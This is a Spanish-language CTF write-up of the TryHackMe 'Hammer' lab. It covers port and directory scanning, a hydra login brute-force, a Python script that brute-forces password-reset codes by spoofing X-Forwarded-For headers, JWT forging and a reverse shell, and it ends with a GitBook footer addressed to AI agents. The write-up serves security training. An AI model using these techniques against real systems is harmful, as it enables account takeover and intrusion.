> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/tryhackme/hammer.md).

# Hammer

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FooQ49unm8rP3nvxztFr9%2Fimage.png?alt=media&amp;token=88aa0ba0-5a0a-4063-9abe-e8b70171af42" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">**nmap -sS -sC -sV -vvv -p- -oA escaneo 10.10.18.14**</mark>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FZLVBNdkn459tYjVSNoMQ%2Fimage.png?alt=media&amp;token=336f2bf0-3264-4f4b-ac6c-cf84d3ea6bd9" alt=""><figcaption></figcaption></figure>

Como resultado obtengo que los puertos <mark style="color:orange;">**22-ssh y 1337-http**</mark> estan abiertos

En primer instancia pense que al ingresar "10.10.18.14:1337" me encontraria con una web, lo que para mi sorpresa no fue así sin mas, asique continue por realizar una busqueda de directorios y/o archivos expuestos

<mark style="color:red;">**gobuster dir -u <http://10.10.18.14:1337> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,bak,js,py -o Fuzz.txt**</mark>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FNs7YuNTpSa2HgXFuXxqH%2Fimage.png?alt=media&amp;token=b6b38601-d23d-48cc-b339-bb4becd56da2" alt=""><figcaption></figcaption></figure>

En index.php podemos ver que hay un panel de login pero al no contar con ningun posible usuario, no hay mucho por hacer

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FY7qvO9BNQEJ9szKiL3T5%2Fimage.png?alt=media&amp;token=eb8243b0-94f8-4160-a3df-418239c647f7" alt=""><figcaption></figcaption></figure>

Antes de continuar revisando el resto de directorios, me puse a mirar el codigo fuente y para mi sorpresa me encontre con una nota que me indica el volver a realizar un Fuzz de directorio

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F990emCVBKUAkdjdOHxS0%2Fimage.png?alt=media&amp;token=cfbd99fc-c463-48b6-856a-c2c317d808b5" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">**ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt -u <http://10.10.18.14:1337/hmr\\_FUZZ> -s**</mark>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FQsjDqYF73LlbmPzddffI%2Fimage.png?alt=media&amp;token=cf1b8fb8-60eb-4e03-b189-5f62c8d5726a" alt=""><figcaption></figcaption></figure>

obtuve 4 resultados: css, images, js, logs.\ <mark style="color:purple;">**Agregando hmr\_ al inicio.. se logra ver un "error.logs"**</mark><br>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FzDrjOOI0Se0webwtNxBo%2Fimage.png?alt=media&amp;token=584cc2a4-2eae-49f2-a217-55f119ab1065" alt=""><figcaption></figcaption></figure>

Despues de analizar el archivo, en los logs se ven 2 intentos de autenticazion fallidos con el mismo mail. Asique lo guarde para mas adelante, antes se vio un panel de login y la opcion de restablecer contraseña.

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FfuodqdlIkigjX5JYC2EY%2Fimage.png?alt=media&amp;token=d324d302-e2fe-4b96-870d-a94d2ac50582" alt=""><figcaption></figcaption></figure>

Al tener un mail, lo primero que podemos probar es realizar un ataque de fuerza&#x20;

<mark style="color:red;">**hydra -l <tester@hammer.thm> -P /usr/share/wordlists/rockyou.txt 10.10.18.14 -s 1337 http-post-form "/:email=<tester@hammer.thm>\&password=^PASS^:Invalid Email or Password"**</mark>

Como no obtuve ningun resultado intente restablecer la contraseña del usuario, donde me pedia un código de cuatro dígitos que era válido durante un cierto lapso de tiempo.

Una opcion era interceptar la solicitud y forzar el codigo con una lista de códigos de cuatro dígitos usando "<mark style="color:red;">**crunch 4 4 0123456789 -o codigos.txt**</mark>" pero hay un mecanismo de fuerza bruta que te bloqueará después de 5 intentos en cada PHPSESSID y solo tienes 180 segundos

Despues de un largo rato encontré un script que al proporcionarle la url y PHPSESSID, lograba conseguir el código

```
import sys
import requests
import random

def generate_random_ip():
    # Generate a random IP address in the range of valid public IPs
    return f"{random.randint(1, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(0, 255)}"

def send_post_request(url, code):
    # Adding the random X-Forwarded-For header
    headers = {
        'X-Forwarded-For': generate_random_ip(),
        'User-Agent': 'Mozilla/5.0', 
        'Cookie': 'PHPSESSID=X',
        'Cache-Control': 'max-age=0'
    }

    data = {
        'recovery_code': code,
        's':'100000'
    }
    
    # Sending the POST request with headers and data
    response = requests.post(url, data=data, headers=headers)
    return response

def main():
    if len(sys.argv) != 2:
        print("Usage: python script.py <filename>")
        sys.exit(1)

    filename = sys.argv[1]
    url = "IP:PORT/reset_password.php"

    try:
        with open(filename, 'r') as file:
            for line in file:
                code = line.strip()
                if len(code) != 4 or not code.isdigit():
                    print(f"Invalid code format: {code}")
                    continue

                # Send the request
                response = send_post_request(url, code)

                # Check if the response indicates a redirect (302)
                if not "Invalid or expired recovery code" in response.text:
                    print(f"Success! The correct code is: {code}")
                    break
                else:
                    print(f"Attempt with code {code} failed, status code: {response.status_code}")

    except FileNotFoundError:
        print(f"File {filename} not found!")
        sys.exit(1)

if __name__ == "__main__":
    main()
```

Con el script modificado correctamente, al ejecutarlo en conjunto con el listado creado anteriormente

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2Ffh9T3h7U6Kd83BP1o7gK%2Fimage.png?alt=media&amp;token=c82078e2-9686-4b14-8288-e718a7d6db5e" alt=""><figcaption></figcaption></figure>

Nos proporciona el código y nos habilita a cambiar la clave del usuario

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FBt3Pe0hBVr3DkEQLig0M%2Fimage.png?alt=media&amp;token=e0f61845-0d1f-4974-915d-a493e9701fe3" alt=""><figcaption></figcaption></figure>

Una vez logeado..\
Se obtiene la primer flag, y además una posible de establecer una revershell, pero de momento solo me permite enumerar los contenidos del directorio..&#x20;

De todo lo enumerado decidí descargarme el archivo .key  con wget&#x20;

Al interceptar la solicitud, analizando la misma se puede ver que incluye un token JWT, teniendo el secret que contenía el archivo .key, tome el token de la solicitud para modificarlo e intentar ejecutar comando como admin&#x20;

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FR2ITxF3CCW7zMY5Wbd4v%2Fimage.png?alt=media&amp;token=abc868ab-f533-45ea-ba61-da61c499fdae" alt=""><figcaption></figcaption></figure>

Como se ve en la imagen, habiendo modificado el token, nos permite ejecutar otro comando que no sea "ls" como sucedía anteriormente

De esa forma, logre establecer una revershell<br>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2FkuUOIqyC83B7bGKDWG3a%2Fimage.png?alt=media&amp;token=7352119f-eef1-4251-891d-41bf009acee5" alt=""><figcaption></figcaption></figure>

<mark style="color:green;">**Una vez con la shell establecida, obtuve la última flag**</mark>

<figure><img src="https://3397511019-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FZajCEcjBzJ30TlZVIQR3%2Fuploads%2F94Z0ajqVcCgz4eiRkfMi%2Fimage.png?alt=media&amp;token=fa8a51f2-5a67-4850-ae1f-50a7b72bb22d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/tryhackme/hammer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
